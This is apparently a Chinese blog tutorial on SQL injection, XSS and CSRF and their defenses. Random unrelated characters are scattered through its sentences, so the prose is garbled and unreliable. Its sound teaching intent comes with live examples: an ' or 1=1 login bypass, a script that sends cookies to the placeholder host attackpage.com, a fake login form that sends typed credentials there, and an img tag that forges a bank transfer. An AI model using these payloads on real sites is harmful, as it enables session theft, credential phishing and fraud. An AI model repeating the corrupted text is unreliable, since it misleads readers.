對(duì)Web服務(wù)器的攻擊也可以說(shuō)是形形色色械媒、種類繁多目锭,常見的有掛馬评汰、SQL注入、緩沖區(qū)溢出痢虹、嗅探被去、利用IIS等針對(duì)Webserver漏洞進(jìn)行攻擊。本文結(jié)合WEB TOP10漏洞中常見的SQL注入奖唯,跨站腳本攻擊(XSS)惨缆,跨站請(qǐng)求偽造(CSRF)攻擊的產(chǎn)生原理,介紹相應(yīng)的防范方法臭埋。
https://www.cnblogs.com/CIreland/p/6745294.html
1踪央、SQL注入
所謂SQL注入式攻擊,就是攻擊者把SQL命令插入到Web表單的輸入域或頁(yè)面請(qǐng)求的查詢字符串瓢阴,欺騙服務(wù)器執(zhí)行惡意的SQL命令畅蹂。攻擊者通過在應(yīng)用程序預(yù)先定義好的SQL語(yǔ)句結(jié)尾加上額外的SQL語(yǔ)句元素,欺騙數(shù)據(jù)庫(kù)服務(wù)器執(zhí)行非授權(quán)的查詢,篡改命令荣恐。
它能夠輕易的繞過防火墻直接訪問數(shù)據(jù)庫(kù)液斜,甚至能夠獲得數(shù)據(jù)庫(kù)所在的服務(wù)器的系統(tǒng)權(quán)限。在Web應(yīng)用漏洞中叠穆,SQLInjection 漏洞的風(fēng)險(xiǎn)要高過其他所有的漏洞少漆。
攻擊原理
假設(shè)的登錄查詢
SELECT* FROM users WHERE login = 'victor' AND password = '123
Sever端代碼
Stringsql = "SELECT * FROM users WHERE login = '" + formusr + "' ANDpassword = '" + formpwd + "'";
輸入字符
formusr= ' or 1=1
formpwd= anything
實(shí)際的查詢代碼
SELECT* FROM users WHERE username = ' ' or 1=1 AND password = 'anything'
發(fā)現(xiàn)注入點(diǎn)簡(jiǎn)單辦法
1.尋找?guī)в胁樵冏址膗rl的網(wǎng)頁(yè)(例如,查詢那些在URL里帶有"id=" 的URL)硼被。
2.向這個(gè)網(wǎng)站發(fā)送一個(gè)請(qǐng)求示损,改變其中的id=語(yǔ)句,帶一個(gè)額外的單引號(hào)(例如:id=123’)嚷硫。
3.查看返回的內(nèi)容检访,在其中查找“sql”,“statement”等關(guān)鍵字(這也說(shuō)明返回了具體的錯(cuò)誤信息仔掸,這本身就很糟糕)脆贵。
4.錯(cuò)誤消息是否表示發(fā)送到SQL服務(wù)器的參數(shù)沒有被正確編碼果如此,那么表示可對(duì)該網(wǎng)站進(jìn)行SQL注入攻擊起暮。
如何防范****SQL****注入攻擊
一個(gè)常見的錯(cuò)誤是卖氨,假如你使用了存儲(chǔ)過程或ORM,你就完全不受SQL注入攻擊之害了负懦。這是不正確的筒捺,你還是需要確定在給存儲(chǔ)過程傳遞數(shù)據(jù)時(shí)你很謹(jǐn)慎,或在用ORM來(lái)定制一個(gè)查詢時(shí)纸厉,你的做法是安全的焙矛。
參數(shù)化查詢已被視為最有效的可防御SQL注入攻擊的防御方式。目前主流的ORM 框架都內(nèi)置支持并且推薦使用這種方式進(jìn)行持久層封裝残腌。
所謂的參數(shù)化查詢(ParameterizedQuery 或 Parameterized Statement)是指在設(shè)計(jì)與數(shù)據(jù)庫(kù)鏈接并訪問數(shù)據(jù)時(shí),在需要填入數(shù)值或數(shù)據(jù)的地方,使用參數(shù)(Parameter) 來(lái)給值抛猫。
例:
SELECT* FROM myTable WHERE myID = @myID
INSERTINTO myTable (c1, c2, c3, c4) VALUES (@c1, @c2, @c3, @c4)或者INSERT INTO myTable (c1, c2, c3, c4)VALUES(?,?,?,?)
通過(?)指定占位符蟆盹,當(dāng)然在添加參數(shù)的時(shí)候,必須按照(c1, c2, c3,c4)的順序來(lái)添加闺金,否則會(huì)出錯(cuò)逾滥。
2.跨站腳本攻擊(XSS)
XSS全稱(Cross Site Scripting) 跨站腳本攻擊,是Web程序中最常見的漏洞败匹。指攻擊者在網(wǎng)頁(yè)中嵌入客戶端腳本(例如JavaScript), 當(dāng)用戶瀏覽此網(wǎng)頁(yè)時(shí)寨昙,腳本就會(huì)在用戶的瀏覽器上執(zhí)行,從而達(dá)到攻擊者的目的. 比如獲取用戶的Cookie掀亩,導(dǎo)航到惡意網(wǎng)站,攜帶木馬等舔哪。
攻擊原理
假如頁(yè)面有如下一個(gè)輸入框
<inputtype="text" name="record" value="沙發(fā)">
【沙發(fā)】是來(lái)自用戶的輸入,如果用戶輸入的是"onfocus="alert(document.cookie)
那么就會(huì)變成
<inputtype="text" name="address1" value=""onfocus="alert(document.cookie)">
事件被觸發(fā)的時(shí)候嵌入的JavaScript代碼將會(huì)被執(zhí)行
攻擊的威力槽棍,取決于用戶輸入了什么樣的腳本捉蚤。
XSS****分類
1.****反射型****XSS
反射型XSS,又稱非持久型XSS炼七。之所以稱為反射型XSS缆巧,則是因?yàn)檫@種攻擊方式的注入代碼是從目標(biāo)服務(wù)器通過錯(cuò)誤信息、搜索結(jié)果等等方式“反射”回來(lái)的豌拙。而稱為非持久型XSS陕悬,則是因?yàn)檫@種攻擊方式具有一次性。攻擊者通過電子郵件等方式將包含注入腳本的惡意鏈接發(fā)送給受害者按傅,當(dāng)受害者點(diǎn)擊該鏈接時(shí)捉超,注入腳本被傳輸?shù)侥繕?biāo)服務(wù)器上,然后服務(wù)器將注入腳本“反射”到受害者的瀏覽器上逞敷,從而在該瀏覽器上執(zhí)行了這段腳本狂秦。
比如攻擊者將如下鏈接發(fā)送給受害者:
http://www.targetserver.com/search.asp?input=<script>alert(document.cookie);</script>
當(dāng)受害者點(diǎn)擊這個(gè)鏈接的時(shí)候,注入的腳本被當(dāng)作搜索的關(guān)鍵詞發(fā)送到目標(biāo)服務(wù)器的search.asp頁(yè)面中推捐,則在搜索結(jié)果的返回頁(yè)面中裂问,這段腳本將被當(dāng)作搜索的關(guān)鍵詞而嵌入。這樣牛柒,當(dāng)用戶得到搜索結(jié)果頁(yè)面后堪簿,這段腳本也得到了執(zhí)行。這就是反射型XSS攻擊的原理皮壁,可以看到椭更,攻擊者巧妙地通過反射型XSS的攻擊方式,達(dá)到了在受害者的瀏覽器上執(zhí)行腳本的目的蛾魄。由于代碼注入的是一個(gè)動(dòng)態(tài)產(chǎn)生的頁(yè)面而不是永久的頁(yè)面虑瀑,因此這種攻擊方式只在點(diǎn)擊鏈接的時(shí)候才產(chǎn)生作用湿滓,這也是它被稱為非持久型XSS的原因
2.****存儲(chǔ)型****XSS
存儲(chǔ)型XSS,又稱持久型XSS舌狗,他和反射型XSS最大的不同就是叽奥,攻擊腳本將被永久地存放在目標(biāo)服務(wù)器的數(shù)據(jù)庫(kù)和文件中。這種攻擊多見于論壇痛侍,攻擊者在發(fā)帖的過程中朝氓,將惡意腳本連同正常信息一起注入到帖子的內(nèi)容之中。隨著帖子被論壇服務(wù)器存儲(chǔ)下來(lái)主届,惡意腳本也永久地被存放在論壇服務(wù)器的后端存儲(chǔ)器中赵哲。當(dāng)其它用戶瀏覽這個(gè)被注入了惡意腳本的帖子的時(shí)候,惡意腳本則會(huì)在他們的瀏覽器中得到執(zhí)行君丁,從而受到了攻擊枫夺。
Xss****危害
1.****盜取****cookie
通過XSS攻擊,由于注入代碼是在受害者的瀏覽器上執(zhí)行谈截,因此能夠很方便地竊取到受害者的Cookie信息筷屡。比如,我們只要注入類似如下的代碼:
<script>location.replace("http://www.attackpage.com/record.asp?secret="+document.cookie)</script>
當(dāng)受害者的瀏覽器執(zhí)行這段腳本的時(shí)候簸喂,就會(huì)自動(dòng)訪問攻擊者建立的網(wǎng)站www.attackpage.com毙死,打開其中的recourd.asp,將受害者瀏覽器的Cookie信息給記錄下來(lái)喻鳄。這樣扼倘,攻擊者就得到了用戶的Cookie信息。
得到受害者的Cookie信息后除呵,攻擊者可以很方便地冒充受害者再菊,從而擁有其在目標(biāo)服務(wù)器上的所有權(quán)限,相當(dāng)于受害者的身份認(rèn)證被竊取了颜曾。
2.****釣魚攻擊
所謂釣魚攻擊就是構(gòu)建一個(gè)釣魚頁(yè)面纠拔,誘騙受害者在其中輸入一些敏感信息,然后將其發(fā)送給攻擊者泛豪。利用XSS的注入腳本稠诲,我們也可以很方便地注入釣魚頁(yè)面的代碼,從而引導(dǎo)釣魚攻擊诡曙。比如下面這樣一段代碼:
<script>
functionhack(){
location.replace("http://www.attackpage.com/record.asp?username="+document.forms[0].user.value+ "password=" + document.forms[0].pass.value);
}
</script>
<form>
<H3>此功能需要登錄:</H3>
請(qǐng)輸入用戶名:
<inputtype=”text”id=”user”name=”user”>
請(qǐng)輸入密碼:
<inputtype=”password”name =“pass”>
<inputtype=”submit”name=”login”value=”登錄”onclick=”hack()”>
</form>
注入上面的代碼后臀叙,則會(huì)在原來(lái)的頁(yè)面上,插入一段表單价卤,要求用戶輸入自己的用戶名和密碼劝萤,而當(dāng)用戶點(diǎn)擊“登錄”按鈕后,則會(huì)執(zhí)行hack()函數(shù)慎璧,將用戶的輸入發(fā)送到攻擊者指定的網(wǎng)站上去床嫌。這樣跨释,攻擊者就成功竊取了該用 戶的賬號(hào)信息。和一般的釣魚攻擊不同厌处,XSS引導(dǎo)的釣魚攻擊由于是對(duì)用戶信任的網(wǎng)站頁(yè)面進(jìn)行修改的煤傍。
3. CSRF攻擊
比如我們注入如下的HTML代碼:
<imgsrc = “http://www.bank.com/transfer.do?toAct=123456&money=10000>
假如上面的代碼中所訪問的是某個(gè)銀行網(wǎng)站的轉(zhuǎn)賬服務(wù),則當(dāng)受害者的瀏覽器運(yùn)行這段腳本時(shí)嘱蛋,就會(huì)向攻擊者指定的賬戶(示例的123456)執(zhí)行轉(zhuǎn)賬操作。由于這個(gè)轉(zhuǎn)賬請(qǐng)求是在受害者的瀏覽器中運(yùn)行的五续,因此瀏覽器也會(huì)自動(dòng)將受害者的Cookie信息一并發(fā)送洒敏。這樣,發(fā)送的請(qǐng)求就好像是受害者自己發(fā)送的一樣疙驾,銀行網(wǎng)站也將認(rèn)可這個(gè)請(qǐng)求的合法性凶伙,攻擊者也就達(dá)到了偽造請(qǐng)求的目的。
4.傳播惡意軟件
除了直接注入惡意腳本以外它碎,通過XSS攻擊函荣,攻擊者也可以很方便地在腳本中引入一些惡意軟件,比如病毒扳肛、木馬傻挂、蠕蟲等等。例如挖息,攻擊者可以在某個(gè)自己建立的頁(yè)面上放置一些惡意軟件金拒,然后用XSS注入的方式,插入一段引用該頁(yè)面的腳本套腹。這樣當(dāng)受害者的瀏覽器執(zhí)行這段腳本的時(shí)候绪抛,就會(huì)自動(dòng)訪問放置了惡意軟件的頁(yè)面,從而受到這些惡意軟件的感染电禀。
XSS****的預(yù)防
1.****輸入過濾
對(duì)用戶的所有輸入數(shù)據(jù)進(jìn)行檢測(cè)幢码,比如過濾其中的“<”、“>”尖飞、“/”等可能導(dǎo)致腳本注入的特殊字符症副,或者過濾“script”、“javascript”等腳本關(guān)鍵字葫松,或者對(duì)輸入數(shù)據(jù)的長(zhǎng)度進(jìn)行限制等等瓦糕。同時(shí),我們也要考慮用戶可能繞開ASCII碼腋么,使用十六進(jìn)制編碼來(lái)輸入腳本咕娄。因此,對(duì)用戶輸入的十六進(jìn)制編碼珊擂,我們也要進(jìn)行相應(yīng)的過濾圣勒。只要能夠嚴(yán)格檢測(cè)每一處交互點(diǎn)费变,保證對(duì)所有用戶可能的輸入都進(jìn)行檢測(cè)和XSS過濾,就能夠有效地阻止XSS攻擊圣贸。
2.****輸出編碼
通過前面對(duì)XSS攻擊的分析挚歧,我們可以看到,之所以會(huì)產(chǎn)生XSS攻擊吁峻,就是因?yàn)閃eb應(yīng)用程序?qū)⒂脩舻妮斎胫苯忧度氲侥硞€(gè)頁(yè)面當(dāng)中滑负,作為該頁(yè)面的HTML代碼的一部分。因此用含,當(dāng)Web應(yīng)用程序?qū)⒂脩舻妮斎霐?shù)據(jù)輸出到目標(biāo)頁(yè)面中時(shí)矮慕,只要用HtmlEncoder等工具先對(duì)這些數(shù)據(jù)進(jìn)行編碼,然后再輸出到目標(biāo)頁(yè)面中啄骇。這樣痴鳄,如果用戶輸入一些HTML的腳本,也會(huì)被當(dāng)成普通的文字缸夹,而不會(huì)成為目標(biāo)頁(yè)面HTML代碼的一部分得到執(zhí)行痪寻。
3. Cookie****防盜
利用XSS攻擊,攻擊者可以很方便地竊取到合法用戶的Cookie信息虽惭。因此橡类,對(duì)于Cookie,我們可以采取以下的措施趟妥。首先猫态,我們要盡可能地避免在Cookie中泄露隱私,如用戶名披摄、密碼等亲雪;其次,我們可以將Cookie信息利用MD5等Hash算法進(jìn)行多次散列后存放疚膊;再次义辕,為了防止重放攻擊,我們也可以將Cookie和IP進(jìn)行綁定寓盗,這樣也可以阻止攻擊者冒充正常用戶的身份灌砖。
作為一名普通的網(wǎng)絡(luò)用戶,在XSS攻擊的預(yù)防上我們可以采取以下措施傀蚌。首先基显,我們不要輕易相信電子郵件或者網(wǎng)頁(yè)中的不明鏈接,這些鏈接很有可能引導(dǎo)反射型XSS攻擊或者使我們?cè)L問到一些不安全的網(wǎng)頁(yè)善炫。其次撩幽,我們?cè)诓槐匾臅r(shí)候可以禁用腳本功能,這樣XSS注入的腳本就無(wú)法得到運(yùn)行。
3.CSRF 攻擊
CSRF(Cross-site request forgery)窜醉,中文名稱:跨站請(qǐng)求偽造宪萄,也被稱為:one clickattack/session riding,縮寫為:CSRF/XSRF榨惰。
你這可以這么理解CSRF攻擊:攻擊者盜用了你的身份拜英,以你的名義發(fā)送惡意請(qǐng)求。CSRF能夠做的事情包括:以你名義發(fā)送郵件琅催,發(fā)消息居凶,盜取你的賬號(hào),甚至于購(gòu)買商品藤抡,虛擬貨幣轉(zhuǎn)賬......造成的問題包括:個(gè)人隱私泄露以及財(cái)產(chǎn)安全排监。
CSRF****漏洞現(xiàn)狀
CSRF這種攻擊方式在2000年已經(jīng)被國(guó)外的安全人員提出,但在國(guó)內(nèi)杰捂,直到06年才開始被關(guān)注,08年棋蚌,國(guó)內(nèi)外的多個(gè)大型社區(qū)和交互網(wǎng)站分別爆出CSRF漏洞嫁佳,如:NYTimes.com(紐約時(shí)報(bào))、Metafilter(一個(gè)大型BLOG網(wǎng)站)谷暮,YouTube和百度HI......而現(xiàn)在蒿往,互聯(lián)網(wǎng)上的許多站點(diǎn)仍對(duì)此毫無(wú)防備,以至于安全業(yè)界稱CSRF為“沉睡的巨人”湿弦。
原理
網(wǎng)站A:為惡意網(wǎng)站瓤漏。
網(wǎng)站B:用戶已登錄的網(wǎng)站。
當(dāng)用戶訪問A站時(shí)颊埃,A站私自訪問B站的操作鏈接蔬充,模擬用戶操作。
假設(shè)B站有一個(gè)刪除評(píng)論的鏈接:http://b.com/comment/?type=delete&id=81723
A站直接訪問該鏈接班利,就能刪除用戶在B站的評(píng)論饥漫。
CSRF****防御技巧
1.****驗(yàn)證碼
幾乎所有人都知道驗(yàn)證碼,但驗(yàn)證碼不單單用來(lái)防止注冊(cè)機(jī)的暴力破解罗标,還可以有效防止CSRF的攻擊庸队。驗(yàn)證碼算是對(duì)抗CSRF攻擊最簡(jiǎn)潔有效的方法。但使用驗(yàn)證碼的問題在于闯割,不可能在用戶的所有操作上都需要輸入驗(yàn)證碼.只有一些關(guān)鍵的操作彻消,才能要求輸入驗(yàn)證碼。不過隨著HTML5的發(fā)展宙拉。利用canvas標(biāo)簽宾尚,前端也能識(shí)別驗(yàn)證碼的字符,讓CSRF生效鼓黔。
2.Token
CSRF能攻擊成功央勒,根本原因是:操作所帶的參數(shù)均被攻擊者猜測(cè)到不见。既然知道根本原因,我們就對(duì)癥下藥崔步,利用Token稳吮。當(dāng)向服務(wù)器傳參數(shù)時(shí),帶上Token井濒。這個(gè)Token是一個(gè)隨機(jī)值灶似,并且由服務(wù)器和用戶同時(shí)持有。當(dāng)用戶提交表單時(shí)帶上Token值瑞你,服務(wù)器就能驗(yàn)證表單和session中的Token是否一致酪惭。
token生成示例代碼如下:
privatestatic SecureRandom secureRandom=null;
publicstatic String createToken() {
if(secureRandom==null){
String entoropy="LogonSessionEntoropy" + System.currentTimeMillis();
try {
secureRandom = SecureRandom.getInstance("SHA1PRNG");
} catch (NoSuchAlgorithmException e) {
throw new RuntimeException(e);
}
secureRandom.setSeed(entoropy.getBytes());
}
byte bytes[]=new byte[16];
secureRandom.nextBytes(bytes);
byte[] base64Bytes = Base64.encode(bytes);
return new String(base64Bytes);
}